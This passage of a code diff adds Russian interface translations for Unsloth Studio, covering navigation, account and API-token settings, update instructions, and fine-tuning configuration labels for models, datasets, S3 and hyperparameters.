+    rename: "Переименовать",
+    save: "Сохранить",
+    saving: "Сохранение...",
+    search: "Поиск",
+    shutdown: "Выключить",
+  },
+  shell: {
+    beta: "BETA",
+    brand: "unsloth",
+    product: "Unsloth Studio",
+    accountMenu: "Меню аккаунта {name}",
+    updateAvailable: "Доступно обновление",
+    aria: {
+      home: "Главная Unsloth",
+      closeSidebar: "Закрыть боковую панель",
+      openSidebar: "Открыть боковую панель",
+      chatOptions: "Параметры чата",
+      runOptions: "Параметры запуска",
+    },
+    navigation: {
+      newChat: "Новый чат",
+      returnToChat: "Вернуться к чату",
+      compare: "Сравнить",
+      search: "Поиск",
+      hub: "Hub",
+      train: "Обучение",
+      recipes: "Рецепты",
+      export: "Экспорт",
+      recents: "Недавние",
+      noChatsYet: "Пока нет чатов",
+      settings: "Настройки",
+      api: "API",
+      lightMode: "Светлая тема",
+      darkMode: "Тёмная тема",
+      guidedTour: "Обзорный тур",
+      help: "Справка",
+      logOut: "Выйти",
+      shutdown: "Выключить",
+    },
+    notFound: {
+      title: "Страница не найдена",
+      description: "{path} не существует.",
+      backToChat: "Вернуться к чату",
+    },
+    dialog: {
+      deleteChat: {
+        title: "Удалить чат",
+        description: 'Вы уверены, что хотите удалить чат «{name}»?',
+      },
+      deleteRun: {
+        title: "Удалить запуск обучения",
+        description: 'Вы уверены, что хотите удалить запуск «{name}»?',
+      },
+      renameChat: {
+        title: "Переименовать чат",
+        placeholder: "Название чата",
+      },
+      renameRun: {
+        title: "Переименовать запуск",
+        placeholder: "Название запуска",
+      },
+    },
+    toast: {
+      cannotDeleteRunningRun: "Нельзя удалить выполняющийся запуск обучения",
+      failedToDeleteChat: "Не удалось удалить чат",
+      failedToDeleteRun: "Не удалось удалить запуск",
+      failedToRenameChat: "Не удалось переименовать чат",
+      failedToRenameRun: "Не удалось переименовать запуск",
+    },
+  },
+  settings: {
+    title: "Настройки",
+    dialog: {
+      title: "Настройки",
+      description: "Управление настройками Unsloth.",
+      closeAriaLabel: "Закрыть настройки",
+    },
+    tabs: {
+      general: "Общие",
+      profile: "Профиль",
+      appearance: "Оформление",
+      resources: "Система",
+      chat: "Чат",
+      connections: "Подключения",
+      apiKeys: "API",
+      about: "О программе",
+    },
+    general: {
+      title: "Общие",
+      description: "Глобальные настройки Unsloth.",
+      account: "Аккаунт",
+      huggingFaceToken: "Токен Hugging Face",
+      huggingFaceTokenDescription:
+        "Используется для загрузки закрытых моделей и публикации артефактов.",
+      hideToken: "Скрыть токен",
+      showToken: "Показать токен",
+      tokenSaved: "Токен сохранён",
+      password: "Пароль",
+      passwordDescription: "Изменить пароль для этого аккаунта Studio.",
+      passwordDialog: {
+        trigger: "Изменить пароль",
+        title: "Изменить пароль",
+        description:
+          "Введите текущий пароль и выберите новый (не менее {minLength} символов).",
+        currentPassword: "Текущий пароль",
+        newPassword: "Новый пароль",
+        confirmPassword: "Подтвердите новый пароль",
+        currentTooShort:
+          "Текущий пароль должен содержать не менее {minLength} символов.",
+        newTooShort: "Новый пароль должен содержать не менее {minLength} символов.",
+        mismatch: "Пароли не совпадают.",
+        samePassword:
+          "Новый пароль должен отличаться от текущего.",
+        update: "Обновить пароль",
+        updating: "Обновление...",
+        updated: "Пароль обновлён.",
+        updateFailed: "Не удалось обновить пароль.",
+      },
+      chatDefaults: "Настройки чата по умолчанию",
+      autoTitleNewChats: "Автоматически называть новые чаты",
+      autoTitleNewChatsDescription:
+        "Создавать короткое название по первому сообщению.",
+      helperLlm: {
+        sectionTitle: "Вспомогательная LLM",
+        preloadOnStartup: "Предзагружать вспомогательную LLM при запуске",
+        preloadOnStartupDescription:
+          "Загружать вспомогательную модель AI Assist в фоне при запуске. По умолчанию выключено; AI Assist всё равно может загрузить её по запросу.",
+        disabledByEnv:
+          "Отключено переменной UNSLOTH_HELPER_MODEL_DISABLE в окружении бэкенда.",
+        loadError: "Не удалось загрузить настройки вспомогательной LLM.",
+        saveError: "Не удалось сохранить настройки вспомогательной LLM.",
+      },
+      modelAutoSwitch: {
+        sectionTitle: "Автопереключение модели (OpenAI API)",
+        enable: "Переключать модель по запросу",
+        enableDescription:
+          "Когда OpenAI-совместимый запрос указывает другую загруженную GGUF, загружать её перед обслуживанием. По умолчанию выключено; неизвестные имена продолжают обслуживать загруженную модель.",
+        idleUnload: "Автовыгрузка при простое",
+        idleUnloadDescription:
+          "Выгружать модель после указанного числа секунд простоя, чтобы освободить VRAM; следующий запрос загрузит её снова. 0 оставляет модель загруженной.",
+        idleNeedsEnable:
+          "Включите «Переключать модель по запросу», чтобы выгруженная модель загружалась при следующем использовании.",
+        idleActiveViaEnv:
+          "Автовыгрузка при простое активна через переменную окружения UNSLOTH_MODEL_IDLE_TTL.",
+        loadError: "Не удалось загрузить настройки автопереключения модели.",
+        saveError: "Не удалось сохранить настройки автопереключения модели.",
+        idleError: "Введите целое число секунд (0 или больше).",
+      },
+      previewSharing: {
+        sectionTitle: "Публикация предпросмотра",
+        enableLabel: "Публичные ссылки предпросмотра",
+        enableDescription:
+          "Позволяет любому по подписанной ссылке общаться с готовой моделью без входа в систему. Отключите, чтобы закрыть публичный предпросмотр; общие ссылки перестанут работать.",
+        loadError: "Не удалось загрузить настройки публикации предпросмотра.",
+        saveError: "Не удалось сохранить настройки публикации предпросмотра.",
+        revokeLabel: "Отозвать все ссылки предпросмотра",
+        revokeDescription:
+          "Сменить секрет подписи, чтобы все опубликованные ссылки перестали работать. Ссылки, скопированные заново, продолжат работать.",
+        revokeAction: "Отозвать ссылки",
+        revoking: "Отзыв...",
+        revokeConfirmTitle: "Отозвать все ссылки предпросмотра?",
+        revokeConfirmDescription:
+          "Все опубликованные ссылки предпросмотра немедленно перестанут работать. Это действие нельзя отменить.",
+        revokeConfirmAction: "Отозвать все ссылки",
+        revoked: "Все ссылки предпросмотра отозваны",
+        revokeError: "Не удалось отозвать ссылки предпросмотра",
+      },
+      notifications: {
+        sectionTitle: "Уведомления",
+        showLlamaUpdates: "Уведомления об обновлениях llama.cpp",
+        showLlamaUpdatesDescription:
+          "Уведомлять о доступности новой сборки llama.cpp для запуска новых моделей. Отключите, если вы только обучаете модели.",
+      },
+      gettingStarted: "Начало работы",
+      startOnboarding: "Запустить онбординг",
+      startOnboardingDescription:
+        "Снова открыть мастер настройки, не изменяя ваш аккаунт.",
+      startOnboardingAction: "Запустить онбординг",
+      uploads: {
+        sectionTitle: "Загрузки",
+        maxUploadSize: "Лимит загрузки датасета для обучения",
+        maxUploadSizeDescription: "По умолчанию {defaultSize} МБ.",
+      },
+      rag: {
+        sectionTitle: "Документы и RAG",
+        embeddingModel: "Модель эмбеддингов",
+        embeddingModelDescription:
+          "Модель Hugging Face или локальный путь для индексации и поиска по вашим документам. По умолчанию {defaultModel}.",
+        reindexWarning:
+          "Влияет только на вновь индексируемые документы. После смены модели загрузите существующие документы заново.",
+        emptyError: "Введите ID модели Hugging Face или локальный путь.",
+        loadError: "Не удалось загрузить настройку модели эмбеддингов.",
+        saveError: "Не удалось сохранить модель эмбеддингов.",
+        saved: "Модель эмбеддингов сохранена.",
+        saveAnyway: "Всё равно сохранить",
+        resetAction: "Сбросить к умолчанию",
+      },
+      storage: {
+        sectionTitle: "Хранилище",
+        modelsFolder: "Папка моделей",
+        modelsFolderDescription: "Где хранятся загруженные модели.",
+        openAction: "Открыть",
+        copyAction: "Копировать путь",
+        copied: "Путь скопирован",
+        openError: "Не удалось открыть папку",
+        copyError: "Не удалось скопировать путь",
+      },
+      resetPreferences: {
+        sectionTitle: "Опасная зона",
+        label: "Сбросить все локальные настройки",
+        description:
+          "Очищает только локальные настройки. Чаты, доступ по API и настройки в базе данных сохраняются.",
+        action: "Сбросить настройки",
+        confirmTitle: "Сбросить все локальные настройки?",
+        confirmDescription:
+          "Очищает только локальные настройки и перезагружает Unsloth. Чаты, доступ по API и настройки в базе данных сохраняются.",
+        confirmAction: "Сбросить и перезагрузить",
+      },
+    },
+    profile: {
+      title: "Профиль",
+      description: "Как ваш профиль отображается в Unsloth.",
+      changePicture: "Изменить фото профиля",
+      displayName: "Отображаемое имя",
+      nickname: "Как Unsloth к вам обращаться?",
+      nicknamePlaceholder: "Псевдоним",
+      nicknameSaved: "Предпочитаемое имя сохранено",
+      avatarShape: "Форма фото профиля",
+      avatarShapeCircle: "Круг",
+      avatarShapeRounded: "Скруглённый",
+      chooseSloth: "Или выберите ленивца",
+      nameSaved: "Имя профиля сохранено",
+      namePersistErrorTitle: "Не удалось сохранить имя профиля",
+      namePersistErrorDescription:
+        "Имя обновлено для этой сессии, но может не сохраниться после перезагрузки.",
+      photoUpdated: "Фото профиля обновлено",
+      photoPersistErrorTitle: "Не удалось сохранить фото профиля",
+      photoPersistErrorDescription:
+        "Фото обновлено для этой сессии, но может не сохраниться после перезагрузки.",
+      photoUpdateErrorTitle: "Не удалось обновить фото профиля",
+      imageUseError: "Не удалось использовать это изображение.",
+    },
+    appearance: {
+      title: "Оформление",
+      description: "Как Unsloth Studio выглядит на этом устройстве.",
+      theme: {
+        title: "Тема",
+        label: "Цветовая схема",
+        description: "Светлая, тёмная или как в системе.",
+        system: "Системная",
+        light: "Светлая",
+        dark: "Тёмная",
+      },
+      language: {
+        title: "Язык",
+        label: "Язык интерфейса",
+        description: "Язык, используемый Unsloth.",
+        autoDetect: "Автоопределение",
+      },
+      layout: {
+        title: "Макет",
+        compactSidebar: "Закреплять боковую панель по умолчанию",
+        compactSidebarDescription:
+          "Держать боковую панель развёрнутой, а не свёрнутой в значки.",
+      },
+    },
+    resources: {
+      title: "Система",
+      description: "Мониторинг оборудования и хранилища этого сервера Studio.",
+      liveUpdates: "Обновления в реальном времени",
+      floatingWindow: "Плавающее окно",
+      disableOverlay: "Отключить оверлей",
+      liveMonitor: {
+        title: "Монитор в реальном времени",
+        cpu: "CPU",
+        ram: "RAM",
+        disk: "Диск",
+        vram: "VRAM",
+        cpuCores: "{logical} логич. / {physical} физич. ядер",
+        currentLoad: "Текущая нагрузка",
+        free: "{value} свободно",
+        noGpu: "GPU не обнаружен",
+      },
+      gpu: {
+        title: "Устройства GPU",
+        noGpu: "Видимый GPU не обнаружен. Выше показаны ресурсы CPU.",
+        unknownDevice: "Неизвестный GPU",
+        deviceWithIndex: "GPU {index}",
+        vramUtilization: "VRAM",
+        used: "{value} использовано",
+        free: "{value} свободно",
+        total: "{value} всего",
+      },
+      storage: {
+        title: "Хранилище",
+        systemDisk: "Системный диск",
+        diskUsage: "{used} использовано / {total}",
+        diskFree: "{free} свободно",
+        modelsFolder: "Папка моделей",
+        modelsFolderDescription: "Где хранятся загруженные модели.",
+        openAction: "Открыть",
+        copyAction: "Копировать путь",
+        copied: "Путь скопирован",
+        openError: "Не удалось открыть папку",
+        copyError: "Не удалось скопировать путь",
+      },
+      environment: {
+        title: "Окружение",
+        backend: "Бэкенд",
+        python: "Python",
+        torch: "Torch",
+        transformers: "Transformers",
+        uptime: "Время работы",
+        processMemory: "Память процесса",
+        notInstalled: "Не установлено",
+        unknown: "Неизвестно",
+      },
+    },
+    chat: {
+      title: "Чат",
+      description: "Управление историей чатов, хранящейся на этом устройстве.",
+      modelDisclaimer: "Показывать оговорку о модели",
+      modelDisclaimerDescription:
+        'Показывать «LLM могут ошибаться» под полем ввода.',
+      artifacts: {
+        title: "Canvas",
+        collapseHtmlBlocks: "Сворачивать блоки HTML",
+        collapseHtmlBlocksDescription:
+          "Режим Canvas автоматически сворачивает полный HTML. Включите, чтобы также сворачивать HTML-документы в блоках кода, когда Canvas выключен.",
+        allowNetworkAccess: "Разрешить сетевой доступ Canvas",
+        allowNetworkAccessDescription:
+          "Позволяет предпросмотрам Canvas загружать скрипты, стили, шрифты, медиа и сетевые ресурсы из CDN. Оставьте выключенным для полностью офлайн-предпросмотров.",
+      },
+      data: "Данные",
+      exportHistory: "Экспортировать историю чатов",
+      exportHistoryDescription: "Скачать все чаты и сообщения в формате JSON.",
+      exportAction: "Экспорт",
+      exportingAction: "Экспорт...",
+      exportConversations: "Экспортировать «Недавние» и проекты",
+      exportConversationsDescription:
+        "Скачать «Недавние» или «Недавние» вместе с чатами проектов в формате Raw JSONL, CSV или ShareGPT JSONL, объединённо или по чатам.",
+      exportConversationsAction: "Экспорт",
+      exportScopeRecents: "Недавние",
+      exportScopeAll: "Недавние + проекты",
+      exportCombinedSuffix: "(объединённо)",
+      exportPerChatSuffix: "(по чатам)",
+      importChats: "Импортировать чаты",
+      importChatsDescription:
+        "Импортировать экспорт JSONL, NDJSON или CSV в «Недавние».",
+      importChatsAction: "Импорт",
+      importNoConversations: "В файле не найдено диалогов.",
+      importedOneChat: "Импортирован 1 диалог в «Недавние».",
+      importedChatCount: "Импортировано диалогов в «Недавние»: {count}.",
+      importFailed: "Импорт не удался.",
+      clearHistory: "Очистить историю чатов",
+      clearHistoryDescription: "Удалить историю чатов с этого устройства.",
+      clearAction: "Очистить",
+      clearAllChats: "Очистить все чаты",
+      clearAllChatsDescription: "Безвозвратно удалить все чаты на этом устройстве.",
+      noChatsToClear: "Нет чатов для очистки.",
+      clearOneChatDescription:
+        "Безвозвратно удалить единственный чат на этом устройстве.",
+      clearChatCountDescription:
+        "Безвозвратно удалить все чаты на этом устройстве: {count}.",
+      clearChatsAction: "Очистить чаты",
+      clearOneChatTitle: "Очистить 1 чат?",
+      clearChatsTitle: "Очистить {count} чатов?",
+      clearChatsConfirmDescription:
+        "Безвозвратно удаляет все чаты на этом устройстве. Это действие нельзя отменить.",
+      clearingAction: "Очистка...",
+      clearOneChatAction: "Очистить 1 чат",
+      clearChatCountAction: "Очистить {count} чатов",
+      clearedAllChats: "Все чаты очищены",
+      clearedOneChat: "Очищен 1 чат",
+      clearedChatCount: "Очищено чатов: {count}",
+      someChatsCouldNotBeCleared: "Некоторые чаты не удалось очистить",
+      chatsClearedRemainOne:
+        "Очищено чатов: {clearedCount}; остался 1 чат. Повторите попытку.",
+      chatsClearedRemain:
+        "Очищено чатов: {clearedCount}; осталось чатов: {remainingCount}. Повторите попытку.",
+      oneChatClearedRemain:
+        "Очищен 1 чат; осталось чатов: {remainingCount}. Повторите попытку.",
+      oneChatClearedRemainOne: "Очищен 1 чат; остался 1 чат. Повторите попытку.",
+      storageClearFailedOne:
+        "Не удалось очистить хранилище; возможно, остался 1 чат. Повторите попытку.",
+      storageClearFailed:
+        "Не удалось очистить хранилище; возможно, осталось чатов: {count}. Повторите попытку.",
+      failedToClearChats: "Не удалось очистить чаты",
+    },
+    connections: {
+      title: "Подключения",
+      description: "Управление провайдерами и внешними подключениями.",
+    },
+    apiKeys: {
+      title: "API",
+      description: "Доступ к Unsloth через OpenAI-совместимый API.",
+      readDocs: "Читать документацию API",
+      noAccess: "Доступа к API пока нет.",
+      accessTokens: "Токены доступа",
+      loadError: "Не удалось загрузить доступ к API.",
+      createError: "Не удалось создать токен доступа.",
+      revokeError: "Не удалось отозвать токен доступа.",
+      never: "Никогда",
+      tokenNamePlaceholder: "Имя токена (например, production)",
+      newAccessTokenName: "Имя нового токена доступа",
+      createToken: "Создать токен",
+      creating: "Создание...",
+      newTokenCreated: "Новый токен доступа создан",
+      accessTokenCopied: "Токен доступа скопирован",
+      copyAccessToken: "Копировать токен доступа",
+      copyNow: "Скопируйте сейчас: он больше не будет показан.",
+      usageExamples: "Примеры использования",
+      usageTools: "Инструменты",
+      exampleCurlTools: "curl + инструменты",
+      examplePythonTools: "Python + инструменты",
+      exampleJavaScriptTools: "JavaScript + инструменты",
+      exampleCurlAdvanced: "curl + расширенное",
+      examplePythonAdvanced: "Python + расширенное",
+      exampleJavaScriptAdvanced: "JavaScript + расширенное",
+      osUnix: "Linux / macOS / WSL",
+      osWindows: "Windows",
+      secureHttps: "Защищённый HTTPS",
+      secureHttpsHint:
+        "Порт 0.0.0.0 по-прежнему доступен глобально. Для полной безопасности запустите Unsloth Studio с флагом --secure, чтобы открыть только эту HTTPS-ссылку.",
+      copyTunnelUrl: "Копировать URL туннеля",
+      copySnippet: "Копировать фрагмент",
+      copy: "Копировать",
+      copied: "Скопировано",
+      setupDocs: "Документация по настройке:",
+      codingAgents: "Кодинг-агенты",
+      codingAgentsHint:
+        "Запустите кодинг-агента к этому серверу. Он использует загруженную модель; локальный сервер выпускает ключ API автоматически, удалённый включает его в команду.",
+      codingAgentsSwap: "Замените claude на codex, openclaw, opencode, hermes или pi.",
+      codingAgentDetected: "Установлен на этой машине",
+      codingAgentsDetectedHint: "Обнаружены на этой машине: {agents}.",
+      relativeNever: "никогда",
+      relativeJustNow: "только что",
+      relativeHoursAgo: "{count} ч назад",
+      relativeDaysAgo: "{count} дн назад",
+      relativeMonthsAgo: "{count} мес назад",
+      relativeYearsAgo: "{count} г назад",
+      expired: "истёк",
+      today: "сегодня",
+      inDays: "через {count} дн",
+      created: "Создан {value}",
+      used: "Использован {value}",
+      expires: "Истекает {value}",
+      actionsFor: "Действия для {name}",
+      copyPrefix: "Копировать префикс",
+      revokeToken: "Отозвать токен",
+      revokeTitle: 'Отозвать токен доступа «{name}»?',
+      revokeDescription:
+        "Приложения, использующие этот токен, немедленно потеряют доступ. Это действие нельзя отменить.",
+      revokeAction: 'Отозвать «{name}»',
+      revoking: "Отзыв...",
+    },
+    about: {
+      title: "О программе",
+      description: "Документация, заметки о выпусках, отзывы и данные сборки.",
+      studioVersion: "Версия Unsloth",
+      packageVersion: "Версия пакета",
+      llamaCppVersion: "Версия llama.cpp",
+      hardware: "Оборудование",
+      gpu: "GPU",
+      cuda: "CUDA",
+      rocm: "ROCm",
+      updates: "Обновление",
+      help: "Справка",
+      documentation: "Документация",
+      releaseNotes: "Заметки о выпуске",
+      whatsNew: "Что нового",
+      feedback: "Отзывы",
+      reportIssue: "Сообщить о проблеме",
+      license: {
+        sectionTitle: "Лицензия",
+        studioLabel: "Unsloth Studio",
+        studioLicense: "AGPL-3.0",
+        studioDescription: "Открытый исходный код под GNU AGPL v3.0.",
+        libraryLabel: "Unsloth Core",
+        libraryLicense: "Apache-2.0",
+        libraryDescription: "Лицензировано под Apache 2.0.",
+      },
+      dangerZone: "Опасная зона",
+      shutDownStudio: "Выключить Unsloth Studio",
+      shutDownStudioDescription:
+        "Останавливает сервер Unsloth и завершает вашу сессию.",
+      shutDown: "Выключить",
+      update: {
+        title: "Обновить Unsloth Studio",
+        commandText: "Текст «{label}»",
+        copied: "Скопировано",
+        copyCommand: "Копировать команду",
+        commandCopied: "«{label}» скопировано",
+        copyNamedCommand: "Копировать «{label}»",
+        checkingInstall: "Проверка способа установки Unsloth...",
+        installIntro: "Чтобы установить или обновить Unsloth:",
+        localUpdateHeading: "Локальное обновление",
+        installCommandUnix: "Команда установки для macOS/Linux",
+        installCommandWindows: "Команда установки для Windows",
+        localInstallDetected:
+          "Обнаружена локальная установка. Обновляйте из исходного checkout, чтобы не заменить его версией с PyPI.",
+        pullThenUpdate:
+          "Загрузите последние изменения, затем запустите локальный установщик:",
+        gitPullCommand: "Команда git pull",
+        localInstallerCommand: "Команда локального установщика",
+        sourceInstallDetected:
+          "Обнаружена установка из исходников или VCS-пакета. Переустановите из исходного локального пути или Git URL.",
+        repoCheckoutFallback:
+          "Если у вас всё ещё есть checkout репозитория, запустите локальный установщик из него:",
+        restartAfterUpdate: "После обновления перезапустите Unsloth.",
+        desktopManaged:
+          "Настольное приложение поддерживает встроенный бэкенд в актуальном состоянии и уведомит о новой версии.",
+        unknownInstall:
+          "Не удалось определить способ установки Unsloth. Для установки через установщик или PyPI используйте команды выше.",
+        localCheckout:
+          "Для установок из локального checkout запустите локальный установщик из него:",
+        docs: "Документация по установке:",
+        docsInstall: "Установка",
+        docsUpdating: "Обновление",
+        docsMac: "Mac",
+        docsWindows: "Windows",
+      },
+    },
+  },
+  studio: {
+    routeTitle: "Обучение",
+    title: "Студия дообучения",
+    subtitles: {
+      configure: "Настройте и запустите обучение",
+      trainingInProgress: "Обучение выполняется",
+      viewPastRuns: "Просмотр прошлых запусков обучения",
+      viewingPastRun: "Просмотр прошлого запуска",
+    },
+    tabs: {
+      configure: "Настройка",
+      currentRun: "Текущий запуск",
+      history: "История",
+    },
+    loadingRuntime: "Загрузка среды обучения...",
+    backToHistory: "Назад к истории",
+    sections: {
+      model: "Модель",
+      dataset: "Датасет",
+      params: "Параметры",
+      training: "Обучение",
+      charts: "Графики",
+      progress: "Прогресс обучения",
+    },
+    configure: {
+      title: "Настройка",
+      description: "Выберите модель, датасет и параметры обучения.",
+      startTraining: "Начать обучение",
+      starting: "Запуск...",
+      loadingModel: "Загрузка модели...",
+      checkingDataset: "Проверка датасета...",
+      trainingConfig: "Конфигурация обучения",
+    },
+    model: {
+      title: "Модель",
+      description: "Выберите базовую модель и метод обучения",
+      fasterTrainingBadge: "Обучение в 2 раза быстрее",
+      baseModel: "Базовая модель",
+      localModel: "Локальная модель",
+      localModelTooltip:
+        "Путь к локально загруженной модели или пользовательскому репозиторию HF.",
+      scanningLocalAndCachedModels: "Сканирование локальных и кэшированных моделей...",
+      scanning: "Сканирование...",
+      scanningLocalModels: "Сканирование локальных моделей...",
+      noLocalModelsFound: "Локальные модели не найдены",
+      noLocalModelsFoundManual: "Локальные модели не найдены. Введите путь вручную.",
+      failedToLoadLocalModels: "Не удалось загрузить локальные модели",
+      hfCache: "Кэш HF",
+      customFolders: "Пользовательские папки",
+      localDir: "Локальный каталог",
+      huggingFaceModel: "Модель Hugging Face",
+      huggingFaceModelTooltip:
+        "Ищите модели Hugging Face или выберите из нашего рекомендованного списка.",
+      searchModels: "Поиск моделей...",
+      searching: "Поиск...",
+      noModelsFound: "Модели не найдены",
+      needsVram: "Требуется ~{vram} ГБ VRAM (GPU: {gpu} ГБ)",
+      tightVram: "~{vram} ГБ VRAM (впритык на {gpu} ГБ)",
+      vramEstimate: "~{vram} ГБ VRAM",
+      method: "Метод",
+      methodTooltip:
+        "QLoRA использует 4-битную квантизацию для минимального VRAM. LoRA использует 16 бит. Full обновляет все веса. CPT (Continued Pretraining) обучает на сыром тексте, чтобы адаптировать модель к новой предметной области без чат-форматирования.",
+      readMore: "Подробнее",
+      fullFineTune: "Полное дообучение",
+      checkingToken: "Проверка токена...",
+      getOrUpdateToken: "Получить или обновить токен",
+      huggingFaceTokenOptional: "Токен Hugging Face (необязательно)",
+      continuedPretraining: "Продолженное предобучение",
+      localModels: "Локальные модели",
+      localModelsFound: "Найдено локальных/кэшированных моделей: {count}",
+      loadingLocalModels: "Загрузка локальных моделей...",
+    },
+    dataset: {
+      title: "Датасет",
+      description: "Выберите или загрузите данные для обучения",
+      source: "Источник датасета",
+      chooseDataset: "Выбрать датасет",
+      chooseDatasetTooltip:
+        "Используйте вкладки во всплывающем окне для переключения между Hugging Face и выводом локальных рецептов.",
+      localTab: "Локальные",
+      searchHuggingFaceDatasets: "Поиск датасетов Hugging Face...",
+      searchLocalDatasets: "Поиск локальных датасетов...",
+      searching: "Поиск...",
+      noDatasetsFound: "Датасеты не найдены",
+      loadingLocalDatasets: "Загрузка локальных датасетов...",
+      failedToLoadLocalDatasets: "Не удалось загрузить локальные датасеты.",
+      noLocalDatasetsYet: "Пока нет локальных датасетов.",
+      noLocalDatasetsMatchSearch: "Нет локальных датасетов по запросу.",
+      openDataRecipes: "Открыть Data Recipes",
+      browsingSource: "Просмотр {browsing}. Текущий выбор остаётся {current}.",
+      localDatasets: "Локальные датасеты",
+      localDataset: "Локальный датасет",
+      localDatasetRows: " / {count} строк",
+      huggingFaceDataset: "Датасет Hugging Face",
+      localDatasetMetadata: "Метаданные локального датасета",
+      dataRecipeOutput: "Вывод Data Recipe.",
+      rows: "Строки",
+      columns: "Столбцы",
+      batches: "Батчи",
+      updated: "Обновлено",
+      evalDataset: "Датасет для оценки",
+      uploading: "Загрузка...",
+      upload: "Загрузить",
+      uploadEvalFile: "Загрузить файл для оценки",
+      evalDatasetDescription:
+        "Необязательно. Если не указан, небольшая часть будет выделена из обучающих данных.",
+      advanced: "Дополнительно",
+      targetFormat: "Целевой формат",
+      targetFormatTooltip:
+        "Формат ваших обучающих данных. Автоопределение работает для большинства датасетов.",
+      auto: "Авто",
+      rawText: "Сырой текст",
+      trainSplitStart: "Начало обучающей выборки",
+      trainSplitStartTooltip:
+        "Обучаться только на подмножестве обучающей выборки, указав индекс начальной строки (включительно, с нуля). Оставьте пустым, чтобы начать с первой строки.",
+      trainSplitEnd: "Конец обучающей выборки",
+      trainSplitEndTooltip:
+        "Индекс последней строки из обучающей выборки (включительно, с нуля). Например, задайте Начало 0 и Конец 99, чтобы обучаться на первых 100 строках. Оставьте пустым, чтобы использовать все оставшиеся строки.",
+      endPlaceholder: "Конец",
+      clear: "Очистить",
+      dropFileOrClick: "Перетащите 1 файл сюда или нажмите для загрузки",
+      viewDataset: "Просмотреть датасет",
+      uploadFailed: "Загрузка не удалась",
+      unknownError: "Неизвестная ошибка",
+      unsupportedFileType: "Неподдерживаемый тип файла",
+      uploadOneFileType: "Загрузите один файл {types}.",
+      datasetUploaded: "Датасет загружен",
+      evalDatasetUploaded: "Датасет для оценки загружен",
+      uploadOneFileAtATime: "Загружайте по одному файлу за раз",
+      uploadSingleFileDescription:
+        "Загрузка датасета для обучения принимает один файл.",
+      checkingToken: "Проверка токена...",
+      getOrUpdateToken: "Получить или обновить токен",
+      preview: "Предпросмотр датасета",
+      split: "Выборка",
+      subset: "Подмножество",
+      s3: {
+        title: "Конфигурация S3",
+        description:
+          "Загрузка датасетов .parquet, .json, .jsonl или .csv из Amazon S3",
+        bucket: "Имя бакета",
+        bucketPlaceholder: "my-training-data-bucket",
+        region: "Регион AWS",
+        regionPlaceholder: "us-east-1",
+        prefix: "Префикс пути",
+        prefixPlaceholder: "datasets/whisper/",
+        prefixTooltip: "Необязательный путь в бакете к файлам вашего датасета",
+        accessKeyId: "Access Key ID",
+        accessKeyIdPlaceholder: "AKIAIOSFODNN7EXAMPLE",
+        secretAccessKey: "Secret Access Key",
+        secretAccessKeyPlaceholder: "Ваш AWS secret access key",
+        useIamRole: "Использовать роль IAM",
+        useIamRoleTooltip:
+          "Использовать учётные данные роли IAM вместо ключей доступа (рекомендуется для EC2/SageMaker)",
+        testConnection: "Проверить подключение",
+        connectionSuccess: "Успешное подключение к бакету S3",
+        connectionFailed: "Не удалось подключиться к бакету S3",
+        comingSoon: "Интеграция с S3 скоро появится",
+        comingSoonDescription:
+          "Загрузка датасетов из S3 требует boto3. Эта функция в разработке.",
+      },
+    },
+    params: {
+      title: "Параметры",
+      description: "Настройте гиперпараметры обучения",
+      projectName: "Название проекта",
+      optional: "Необязательно",
+      projectNameDescription:
+        "Используется в именах папок вывода обучения, значениях экспорта по умолчанию и истории.",
+      loraSettings: "Настройки LoRA",
+      trainingHyperparameters: "Гиперпараметры обучения",
+      maxSteps: "Макс. шагов",
+      epochs: "Эпохи",
+      useMaxSteps: "Использовать макс. шаги",
+      useEpochs: "Использовать эпохи",
+      maxStepsTooltip: "Переопределить общее число шагов оптимизатора.",
+      epochsTooltip: "Количество полных проходов по датасету.",
+      epochsDescription: "Каждая эпоха представляет собой один полный проход по вашему датасету.",
+      maxStepsDescription:
+        "Ограничивает обучение фиксированным числом шагов оптимизатора.",
+      contextLength: "Длина контекста",
+      contextLengthTooltip: "Максимальное число токенов на обучающий образец.",
+      customContextLength: "Введите своё значение",
+      contextLengthDescription: "Макс. длина последовательности для обучающих образцов",
+      learningRate: "Скорость обучения",
+      learningRateTooltip:
+        "Размер шага обновления весов. Меньшие значения обучают медленнее, но стабильнее.",
+      learningRateDescription:
+        "Рекомендуется: 2e-4 для LoRA, 5e-5 для CPT, 2e-5 для полного дообучения",
+      embeddingLearningRate: "Скорость обучения эмбеддингов",
+      embeddingLearningRateTooltip:
+        "Используется только когда CPT обучает embed_tokens. Эмбеддинги легче дестабилизировать, чем веса LoRA, поэтому им обычно нужна меньшая скорость обучения. Оставьте пустым, чтобы использовать lr/10; типичный рабочий диапазон в 2-10 раз меньше основной скорости обучения. Повышайте только если адаптация словаря или доменных токенов идёт слишком медленно.",
+      embeddingLearningRateDescription:
+        "Оставьте пустым, чтобы использовать lr/10 (рекомендуется). Типичный диапазон в 2-10 раз меньше основной скорости обучения.",
+      rank: "Ранг",
+      rankTooltip:
+        "Размерность низкоранговых матриц. Чем выше, тем больше ёмкость.",
+      alpha: "Alpha",
+      alphaTooltip: "Коэффициент масштабирования обновлений LoRA. Обычно 2× ранга.",
+      dropout: "Dropout",
+      dropoutTooltip:
+        "Вероятность dropout для слоёв LoRA для уменьшения переобучения.",
+      visionLayers: "Слои зрения",
+      languageLayers: "Языковые слои",
+      attentionModules: "Модули внимания",
+      mlpModules: "Модули MLP",
+      targetModules: "Целевые модули",
+      enableLora: "Включить LoRA",
+      trainWithLora: "Обучать с LoRA",
+      stableRank: "Стабильный ранг",
+      memoryEfficient: "Экономия памяти",
+      optimization: "Оптимизация",
+      schedule: "Расписание",
+      memory: "Память",
+      optimizer: "Оптимизатор",
+      optimizerTooltip:
+        "Алгоритм оптимизации. 8-битные варианты снижают потребление памяти. Fused рекомендуется для моделей зрения.",
+      lrScheduler: "Планировщик LR",
+      lrSchedulerTooltip:
+        "Как скорость обучения меняется в процессе обучения. Linear убывает равномерно; cosine убывает по кривой.",
+      optimizerOptions: {
+        adamw8bit: "AdamW 8-bit",
+        pagedAdamw8bit: "Paged AdamW 8-bit",
+        adamwBnb8bit: "AdamW BNB 8-bit",
+        pagedAdamw32bit: "Paged AdamW 32-bit",
+        adamwTorch: "AdamW (PyTorch)",
+        adamwTorchFused: "AdamW (PyTorch Fused)",
+      },
+      lrSchedulerOptions: {
+        linear: "Линейный",
+        cosine: "Косинусный",
+      },
+      batchSize: "Размер батча",
+      batchSizeTooltip: "Образцов на шаг. Чем больше, тем больше VRAM.",
